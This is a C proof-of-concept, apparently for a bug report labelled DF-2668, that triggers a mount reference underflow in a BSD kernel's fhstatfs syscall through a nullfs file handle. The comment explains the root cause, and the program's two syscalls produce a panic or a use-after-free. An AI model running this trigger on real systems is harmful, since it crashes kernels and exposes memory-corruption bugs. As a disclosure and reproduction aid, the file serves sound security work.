/*
 * DF-2668 - struct mount hold-count underflow / premature free via
 * fhstatfs(2)/fhstatvfs(2) on a nullfs-covered file handle.
 *
 *	sys_fhstatfs() takes a *held* mount from vfs_getvfs()
 *	(sys/kern/vfs_syscalls.c:5063) but then overwrites the pointer with
 *	vp->v_mount (line 5074) and finally mount_drop()s that overwritten
 *	pointer (line 5096).  nullfs VFS_FHTOVP is a pass-through that
 *	returns a vnode of the *lower* filesystem
 *	(sys/vfs/nullfs/null_vfsops.c:389-397), so:
 *
 *	    - the vfs_getvfs() hold on the nullfs mount leaks,
 *	    - the lower mount gets an unmatched mount_drop() ->
 *	      mnt_hold 1 -> 0 -> KKASSERT(mp->mnt_refs == 0) fails on
 *	      INVARIANTS kernels (panic) / kfree() of a live mount on
 *	      release kernels (use-after-free).
 *
 * Run as root.  Prereq: a nullfs mount with an anchor file under it.
 * Expected: kernel panic in mount_drop (KKASSERT mp->mnt_refs == 0).
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#ifndef SYS_getfh
#define SYS_getfh 161
#endif
#ifndef SYS_fhstatfs
#define SYS_fhstatfs 297
#endif
#ifndef SYS_fhstatvfs
#define SYS_fhstatvfs 502
#endif

int
main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/tmp/nmtest/anchor";
	fhandle_t fh;
	struct statfs sb;
	long rv;

	memset(&fh, 0, sizeof(fh));
	memset(&sb, 0, sizeof(sb));

	rv = syscall(SYS_getfh, path, &fh);
	if (rv < 0) {
		perror("getfh");
		return (1);
	}
	printf("DF-2668: getfh(%s) ok; fh_fsid = %08x,%08x\n", path,
	    fh.fh_fsid.val[0], fh.fh_fsid.val[1]);
	fflush(stdout);

	/* This mount_drop()s the LOWER (hammer2) mount without a hold. */
	rv = syscall(SYS_fhstatfs, &fh, &sb);
	if (rv < 0)
		perror("fhstatfs");
	else
		printf("DF-2668: fhstatfs returned ok f_type=%d\n", sb.f_type);
	fflush(stdout);

	printf("DF-2668: survived fhstatfs (no KKASSERT?)\n");
	return (0);
}
